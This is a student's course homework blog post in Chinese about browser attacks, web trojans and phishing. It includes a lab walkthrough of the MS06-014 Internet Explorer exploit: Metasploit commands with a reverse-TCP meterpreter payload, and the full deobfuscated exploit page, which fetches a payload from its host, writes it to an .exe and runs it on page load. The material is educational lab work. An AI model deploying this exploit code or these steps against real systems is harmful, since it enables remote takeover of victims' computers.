20199131 2019-2020-2 《网络攻防实践》第12周作业

20199131 2019-2020-2 《网络攻防实践》第12周作业

1.实践内容

1.1 Web浏览器的技术发展与安全威胁

1.1.1 Web浏览器战争与技术发展

  • 浏览器战争
    (1)第一次浏览器战争
    网景公司的Netscape和微软公司的IE浏览器的竞争
    (2)第二次浏览器战争
    Mozilla开源基金会的Firefox浏览器与IE浏览器等之间的角逐
    (3)国内浏览器的乱战
  • 浏览器技术发展
  • 现代浏览器的基本结构和机理
    (1)现代浏览器的基本结构如下图所示:

    (2)现代Web浏览器软件的内核引擎与可扩展机制

1.1.2 Web浏览的安全问题与威胁

  • Web浏览器软件的安全困境的三要素
    (1)在复杂性方面,现代浏览器软件需要支持HTTP、HTTPS、FTP等多种类型的应用层协议浏览,符合HTML、XHTML、CSS等一系列页面标准规范,支持JavaScript、Flash、Java等多种客户端执行环境,并满足大量的用户浏览需求。现代浏览器软件的复杂性意味着更多的错误和安全缺陷。
    (2)在可扩展性方面,由浏览器插带来的安全漏洞。
    (3)在连通性方面,因为浏览器一直工作在联网状态,一旦其中存在安全漏洞,就很容易被网络上的威胁源所利用和攻击。
  • Web浏览安全威胁位置
    (1)针对传输网络的网络安全协议安全威胁
    (2)针对Web端系统平台的安全威胁
    (3)针对Web浏览器软件及插件程序的渗透攻击威胁
    (4)针对互联网用户的社会工程学攻击威胁
  • Web浏览环境及安全威胁的层次模型

1.2 Web浏览器的渗透攻击威胁-网页木马

1.2.1 网页木马安全威胁的产生背景

  • 网页木马的产生与发展背景
  • 网页木马发展与流行的驱动力--黑客地下经济链
    网络虚拟资产盗窃的黑客地下经济链结构

1.2.2 网页木马的机理分析

  • 网页木马的定义特性
    网页木马是对web浏览端软件进行客户端渗透攻击的一类恶意移动代码,通常以网页脚本语言如 JavaScript、VBScirpt实现,或以Flash、PDF等恶意构造的Web文件形式存在,通过利用web浏览端软件中存在的安全漏洞,获得客户端计算机的控制权限以植入恶意程序。
  • 对网页木马机理的全方位分析与理解
    网页木马的攻击是被动式的,需要通过一些技术 方法来诱使互联网用户来访问网页木马页面;
    网页木马的本质核心--浏览器渗透攻击
  • 网页挂马机制
    编写完网页木马渗透攻击代码后,攻击者需要将网页木马挂接到一些拥有客户访间流量的网站页面上,这一过程被称为网页挂马。网页挂马的四类策略:
    (1)内嵌HTML标签:
    最常用的内嵌标签为 iframe,其功能是在页面中创建一个内嵌的框架,用于包含和显示其他文档页面,当包含页面被浏览器打开时,被包含的页面也会同时被请求并显示在内嵌框架中。攻击者利用这一特性用于直接或间接地嵌入网页木马,并通常将内嵌框架设置为不可见,从而避免引起受害者注意;
    还有利用frame标答、使用body标签的onload事件、在CSS标签中包含网页木马链接等;
    (2)恶意Script脚本:
    利用Script脚本标签通过外部引用脚本的方式来包含网页木马,如<script src=”URL to Trojan”>;
    跳转脚本通常使用 document.write动态生成包含网页木马链接的iframe内嵌标签;或较少见的 windows.open函数弹出一个新的HTML窗口链接网页木马进行攻击;
    (3)内嵌对象链接:
    利用图片、Flash等内嵌对象中的特定方法来定成指定面的加载 ;
    Flash中的LoadMovie()方法,能够产生包含网页木马链接的图片或Flash文件,通过向一些允许用户上传图片和Flash文件的网站进行上传,造成 这些网站特定页面被挂马;
    (4)ARP欺骗挂马:
    不需攻陷目标网站,对防护严密且访问用户量大的网站很有效;
    攻击者通过ARP欺骗进行中间人攻击,劫持所有目标网站出入流量,在目标网站的HTML反馈包中注入任意恶意脚本,使其成为将网络访问流量链接至网页木马的挂马站点;
  • 混淆机制
    ①将代码重新排版,去除缩进、空行、换行、注释等,将网页木马中的变量名替换为一组合法的随机字符串,使其失去自我描述能力,从而干扰阅读分析;
    ②通过大小写变换、十六进制编码, escape编码、unicode编码等方法对网页木马进行编码混滑;
    ③通过通用或定制的加密工具(如XXTEA)对网页木马进行加密得到密文,然后使用脚本语言中包含的解密函数,对密文进行解密,再使用 document.write()或eval()进行动态输出或执行;
    ④利用字符串运算、数学运算或特殊函数可以混淆代码;
    ⑤修改网页木马文件掩码欺骗反病毒软件,或对网页 木马文件结构进行混淆,来伪装正常文件,甚至将网页木马代码拆分至多个文件等;

1.2.3 网页木马的检测与分析技术

  • 基于特征码匹配的传统检测方法
    单独使用已不适用
  • 基于统计与机器学习的静态分析方法
    实质上是针对网页木马所采用的代码混淆或隐藏内嵌链接的特征进行检测,仍停留在外在形态层次上,目前已不适用于实际场景;
  • 基于动态行为结果判定的检测分析方法
    最为有效的一种方式。
    利用网页木马在攻击过程中向互联网用户主机植入并激活恶意程序的行为特性,通过构建包含典型Web访问浏览器及应用软件、存有安全漏洞的高交互式客户端蜜罐环境,在蜜罐中访问待检测的网页,根据访问过程中是否触发了新启动进程、文件系统修改等非预期系统状态变化,以判定当前访问页面中是否被挂接了网页木马。
  • 基于迷你浏览器环境的动态分析检测方法
    动态分析检测方法。
    以脚本执行引擎为核心,通过 模拟实现DOM模型、页面解析与渲染、 ActiveX等第三方控件构建出一个虚拟的低交互式 客户端蜜罐环境,在该环境中进行网页脚本的动态解释执行,以还原出网页木马在混淆之前的真实形态,并进一步结合反病毒引擎扫描、异常检测、安全漏洞模拟与特征检测等 方法对网页木马进行分析和检测。
    检测工具:The Honeynet Project的PHoneyC、UCSB的JSAND系统及其提供的wepawet在线分析服务等。
  • 网页木马检测分析技术综合对比

1.2.4 网页木马世家案例分析

  • 反映黑客地下经济链的18dd.net大规模网页木马攻击网络案例
  • 高校精品课程网站被SQL注入攻击导致网页挂马攻击案例

1.2.5 网页木马防御措施

1.3 揭开网络钓鱼的黑幕

网络钓鱼( Phishing):社会工程学在互联网中广泛实施的一种典型攻击方式,通过大量发送声称来自于银行或其他知名机构的欺骗性垃圾邮件,意图引诱收信人给出个人敏感信息(如用户名、口令、账号ID、PN码或信用卡详细信息等)。

1.3.1 网络钓鱼技术概括

  • 网络钓鱼攻击的起源与发展
  • 中国的钓鱼攻击

1.3.2 网络钓鱼的技术内幕

  • 网络钓鱼攻击场景案例--在功陷的服务器上钓鱼
  • 网络钓鱼攻击场景案例二--部署重定向服务搭建钓鱼攻击网络
  • 网络钓鱼攻击策略
  • 进一步的发现:通过“钱骡子”的资金转账

1.3.3 网络钓鱼攻击的防范

①提高警惕性,不轻信并打来邮件中的链接;
②充分利用浏览器软件、网络安全厂商软件所提供的反钓鱼网站功能特性,提高个人的安全意识;
③在登录网上银行等关键网站时,务必要重视网站真实性;
④提升自己抵抗社会工程学攻击的能力。

2.实践过程

1.动手实践——Web浏览器渗透攻击实验

实验步骤:

  • 1.首先启动Metasploit,然后搜索漏洞MS06-014信息,执行use命令选择该漏洞

  • 2.然后设置本地ip为攻击机ip,执行set Lhost 192.168.200.19,将恶意服务器地址配置为本机

  • 3.最后设置载荷,这里选择使用常用的,执行set payload windows/meterpreter/reverse_tcp

  • 4.启动攻击,然后生成了恶意链接,并建立了一个恶意服务器

  • 5.将该恶意链接复制到靶机ie浏览器地址栏打开,然后会发现在攻击机上出现了反馈信息

  • 6.查看会话列表,发现了靶机同攻击机建立的连接,然后执行sessions -i 2,选择该会话

  • 7.成功实现远程控制了靶机,可对靶机输入命令执行

2.取证分析实践:剖析一个实际的网页木马攻击场景


  • 说明:这个实践没有给出环境,也没找到入口的start.html文件和其他的html文件,但是从提供的文件中有hash值和原始可执行文件。所以这里的分析直接从可执行文件开始,之前的网页加解密分析略过。(为了保证完整性,前面的内容参考答案也给出)

3.Web浏览器渗透攻击对抗实验

  • 首先根据之前做过的ms06-014漏洞,在靶机访问metasploit里生成的链接,攻击机即可获取到会话,并且控制靶机;那么这一过程是如何实现的呢?我首先把靶机访问的链接的网页给保存下来,然后打开分析,发现该网页为了防止被杀毒软件查杀,对关键指令做了字符串拼接处理和使用了大量的空白和间隔。

  • 利用js反混淆工具对js代码进行还原,如下

<html>
    < head>
        < title>
            < /title>
                <script language="javascript">
                    function jwnxVgMVVlmT(o, n) {
                        var r = null;
                        try {
                            eval("r=o.CreateObject(n)")
                        } catch (e) {}
                        if (!r) {
                            try {
                                eval("r=o.CreateObject(n,'')")
                            } catch (e) {}
                        }
                        if (!r) {
                            try {
                                eval("r=o.CreateObject(n,'','')")
                            } catch (e) {}
                        }
                        if (!r) {
                            try {
                                eval("r=o.GetObject('',n)")
                            } catch (e) {}
                        }
                        if (!r) {
                            try {
                                eval("r=o.GetObject(n,'')")
                            } catch (e) {}
                        }
                        if (!r) {
                            try {
                                eval("r=o.GetObject(n)")
                            } catch (e) {}
                        }
                        return (r)
                    }
                    function eKXqxEpEOOOxsLSXxJeRxJCn(a) {
                        var s = jwnxVgMVVlmT(a, "WScript.Shell");
                        var o = jwnxVgMVVlmT(a, "ADODB.Stream");
                        var e = s.Environment("Process");
                        var url = document.location + '/payload';
                        var xml = null;
                        var bin = e.Item("TEMP") + "\\MrDqdDEsHwVsvWYbTDp.exe";
                        var dat;
                        try {
                            xml = new XMLHttpRequest()
                        } catch (e) {
                            try {
                                xml = new ActiveXObject("Microsoft.XMLHTTP")
                            } catch (e) {
                                xml = new ActiveXObject("MSXML2.ServerXMLHTTP")
                            }
                        }
                        if (!xml) {
                            return (0)
                        }
                        xml.open("GET", url, false);
                        xml.send(null);
                        dat = xml.responseBody;
                        o.Type = 1;
                        o.Mode = 3;
                        o.Open();
                        o.Write(dat);
                        o.SaveToFile(bin, 2);
                        s.Run(bin, 0)
                    }
                    function XlQTpSAsmOEMwLPxUVPUgMKrlrBR() {
                        var i = 0;
                        var t = new Array(' {
    BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E36
}
', ' {
    BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E30
}
', ' {
    7F5B7F63 - F06F - 4331 - 8A26 - 339E03C0AE3D
}
', ' {
    6e32070a - 766d - 4ee6 - 879c - dc1fa91d2fc3
}
', ' {
    6414512B - B978 - 451D - A0D8 - FCFDF33E833C
}
', ' {
    06723E09 - F4C2 - 43c8 - 8358 - 09FCD1DB0766
}
', ' {
    639F725F - 1B2D - 4831 - A9FD - 874847682010
}
', ' {
    BA018599 - 1DB3 - 44f9 - 83B4 - 461454C84BF8
}
', ' {
    D0C07D56 - 7C69 - 43F1 - B4A0 - 25F5A11FAB19
}
', ' {
    E8CCCDDF - CA28 - 496b - B050 - 6C07C962476B
}
', ' {
    AB9BCEDD - EC7E - 47E1 - 9322 - D4A210617116
}
', ' {
    0006F033 - 0000 - 0000 - C000 - 000000000046
}
', ' {
    0006F03A - 0000 - 0000 - C000 - 000000000046
}
', null);
                        while (t[i]) {
                            var a = null;
                            if (t[i].substring(0, 1) == ' {
    ') {
                                a = document.createElement("object");
                                a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1))
                            } else {
                                try {
                                    a = new ActiveXObject(t[i])
                                } catch (e) {}
                            }
                            if (a) {
                                try {
                                    var b = jwnxVgMVVlmT(a, "WScript.Shell");
                                    if (b) {
                                        eKXqxEpEOOOxsLSXxJeRxJCn(a);
                                        return (0)
                                    }
                                } catch (e) {}
                            }
                            i++
                        }
                    }
                </script>
                </head>
                
                <body onload='
                XlQTpSAsmOEMwLPxUVPUgMKrlrBR()
                '>
                    BcnGzcfhpOowOiNb
                </body>            
                </html>
  • 下面给出的那个数组就非常可疑,我们直接Google那个数组得到内容,可以看到是MS06-014漏洞

4.Web浏览器遭遇攻击、取证分析

3.实践总结

自己做了一部分, 相较其他同学还是有差距,希望能在课堂上通过同学、老师讲解理清此次作业的实践思路。

参考资料

posted @ 2020-05-16 13:25  李磊20199131  阅读(256)  评论(0编辑  收藏  举报